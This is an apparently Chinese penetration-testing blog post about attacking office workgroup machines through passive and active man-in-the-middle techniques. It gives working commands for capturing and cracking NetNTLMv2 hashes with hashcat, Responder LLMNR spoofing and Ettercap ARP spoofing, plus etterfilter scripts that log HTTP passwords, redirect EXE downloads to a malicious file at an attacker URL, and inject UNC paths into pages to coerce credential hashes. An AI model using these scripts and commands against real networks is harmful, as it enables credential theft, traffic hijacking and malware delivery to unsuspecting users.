在多次的渗透测试实战中,我们发现办公网环境与服务器内网存在显著差异。办公网内,除了极少数用户机会运行特殊服务(如Everything、向日葵或各类RMI等),以及少量开发机可能开放Web服务外,绝大多数机器只是普通的单机系统。它们通常只开放了如445(SMB)、135(RPC)、139(NetBIOS)等常见端口,没有其他可利用的服务。
面对这种情况,我们常常陷入困境:除了尝试MS08-067、MS17-010、19-0708等经典漏洞,似乎别无他法。若目标主机安装了杀毒软件,这些攻击还可能被拦截。倘若没有可用漏洞,便可能束手无策。
这反映了当前安全领域的一个现状:过度关注Web安全,而忽略了传统攻击手段的潜力。多年前我刚接触安全时,就听说过如“蜘蛛中间人”或“奶瓶破解WiFi”等经典手法,那时天真地以为它们已经过时。如今回看,才发现并非如此。
如今的内网环境已发生巨变。虽然安全技术在发展,但传统攻击手段并未失效,反而在某些场景下威力依旧。面对复杂内网,我们不应仅依赖Web安全知识,而应重新审视这些“传统艺能”,探索如何将其与现代技术结合,以应对不断变化的挑战。
被动方式1:获取NetNTLMv2
一种简单直接的方式是,如果你已经拿下了路由器。无论用什么方法,直接在路由器上监听445端口,并将流量捕获为pcap文件。

监听一段时间后,可以使用NTLMRawUnHide项目从pcap文件中提取NetNTLMv2哈希。直接运行:
python .\NTLMRawUnHide.py -i .\b.pcap

然后,我们要找的是类似下面这样的一段内容:
test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000
将这段内容提取出来,保存为txt文件,就可以使用hashcat进行爆破了。假设我们保存为ntlmv2.txt。
然后使用hashcat,执行命令:
hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force

可以看到,对于这种弱口令,基本1秒就能爆破出来。与服务器环境不同,工作组计算机通常没有严格的密码策略要求,因此密码往往不会太复杂,大多是“单词+生日数字”甚至纯数字的组合,所以通常都比较好爆破。当然,前提是成功抓取到了NetNTLMv2哈希。
下次再遇到飞塔防火墙这类设备,就可以用这些方法去尝试攻击内网的机器了。
被动方式2:邮箱账号密码
当你成功控制路由器或其他网关设备时,如果提前了解到目标使用的是自建邮箱,那么就可以尝试监听POP3等邮箱服务端口来抓取明文密码。
这里没有配图,因为是在实际工作中遇到并成功获取的案例。
被动方式3:使用Responder
直接在Kali Linux中运行:
responder -I eth0 -w responder
该工具会自动在局域网内利用LLMNR和NetBIOS等网络协议进行欺骗性应答。
其原理是:链路局部范围内,每台支持LLMNR且被配置为响应查询的主机,在收到一个名称查询请求后,会将该名称与自己的主机名比较。若未找到匹配项,计算机会丢弃该查询;若找到匹配项,则会向请求主机发送一条包含自身IP地址的单播信息。
而Responder的原理就是无论收到什么查询,都进行应答,使客户端误以为我们这台主机是存在的。
当目标用户在计算机中输入了一个不存在的主机名时,我们的Responder就会自动应答,让客户端误以为我们是它想访问的机器,从而向我们发送凭证,这样我们就抓到了它的NetNTLMv2哈希。

然而,这个方法有个很大的局限性:必须依赖目标手动输入不存在的主机名。但在正常情况下,谁会随意输入主机名呢?除非在渗透过程中已进入内网,并通过钓鱼方式在目标机器植入暗桩(例如通过文件加载资源),或在内网已攻陷的服务器上插入XSS,自动加载UNC路径。但这已经不是“0点击”攻击了。而被动等待用户输错,更是天方夜谭。因此,我们需要主动出击。
主动出击:Ettercap内网嗅探与劫持
这时,我们就可以祭出传统工具——Ettercap和arpspoof等流量劫持工具。Ettercap的攻击原理此处不再赘述。
使用Ettercap可以达到类似在路由器上直接用tcpdump分析内网数据包的效果。但如果可能,最好还是先尝试攻陷路由器。
毕竟,ARP欺骗在现在的环境下,随便一个杀毒软件就能防御并发出警报,这使得攻击从“无感”变成了“有感”,容易导致管理员察觉而任务失败。
所以,我们的思路是:先拿下路由器,然后进行更高阶的操作,或者直接嗅探HTTP流量,将用户下载的文件替换成我们的木马。
直接运行:
sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关//
这样,我们就可以看到目标机器的所有流量了。

有了流量之后,可以选择嗅探Cookies或者嗅探密码。这时我们需要用到etterfilter工具来筛选出我们感兴趣的流量。
直接查看etterfilter的文档(etterfilter - linux man),然后仿写一个过滤器。我们不做太复杂的,只抓取包含“Cookie”和“user”的HTTP流量。
下面这个例子是保存HTTP请求中带有“password”字段的数据,你甚至可以删掉第一行tcp.src == 80的条件,只保留我们发送到远程的请求(因为通常登录请求是客户端发给服务器的)。
if ( tcp.src == 80 || tcp.dst == 80) {
if (search(DATA.data, “password”)) {
log(DATA.data, “/tmp/tmp.log”);
}
}
将上述内容保存为a.filter,然后执行etterfilter a.filter -o a.ef生成.ef过滤器文件。接着使用以下命令开始嗅探HTTP明文流量:
sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//

或者,可以进行下载文件替换。下面贴一个从网络上找到的脚本示例:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Mousecat”);
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“keep-alive”, “close” );
replace(“Keep-Alive”, “close” );
}
if (ip.proto == TCP && search(DATA.data, “: application”) ){
msg(“found EXE\n”);
if (search(DATA.data, “Win32”)) {
msg(“doing nothing\n”);
} else {
replace(“200 OK”, “301 Moved Permanently
Location: http://你的恶意exe/setup.exe”);
msg(“redirect success\n”);
}
}
这段代码的作用是直接将下载EXE文件的请求重定向(302跳转)到我们的恶意文件地址。缺点是下载后用户会看到下载地址变成了我们的恶意地址。更高级的做法是,在下载原始EXE的过程中,直接将其数据流替换成我们的恶意EXE数据流。再高级一些,甚至可以在EXE数据流中插入shellcode并修改入口点。当然,这过于复杂,通常也没太大必要。
以上两种方式虽然有效,但如果目标就是不访问路由器管理界面,或者不下载EXE文件,那该怎么办呢?
我们可以配合之前使用的Responder,只要在HTTP流量中插入内网的UNC路径(例如\\fake_hostname\pixel.gif),然后利用Responder进行LLMNR欺骗,甚至使用SMB重放攻击,诱导用户向我们发送其NetNTLMv2哈希,不就能达到目的了吗?
直接修改filter脚本如下:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-AAAA”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“head>”, “head> <img src=\”\\\\fake_hostname\\pixel.gif\”> “);
}
然后等待目标触发并发送NetNTLMv2哈希即可。然而,如今的主流浏览器通常会遇到“Not allowed to load local resource”的限制,不允许自动加载本地或网络路径的资源。只有某些老旧浏览器或Webview组件,比如IE或特定的企业应用内嵌浏览器,才可能自动加载这些资源并发送凭证。
结语
与Web服务不同,在面对工作组计算机时,除了MS17-010这类暴力服务漏洞,我们常常从主动进攻者转变为被动的潜伏者,蛰伏在局域网中默默收集数据,等待机会。随着安全技术的发展,我们主动出击的手段确实在减少:ARP攻击如今极易被杀软防御;默认启用HTTPS的站点越来越多,允许HTTP的站点减少,导致中间人攻击难度增加;甚至浏览器的同源策略也阻止了自动加载本地文件,使得NetNTLMv2哈希难以被诱导发送。这些因素,或许正是内网中间人攻击(MITM)逐渐淡出主流视野的原因。
欢迎在云栈社区交流更多安全技术实战心得。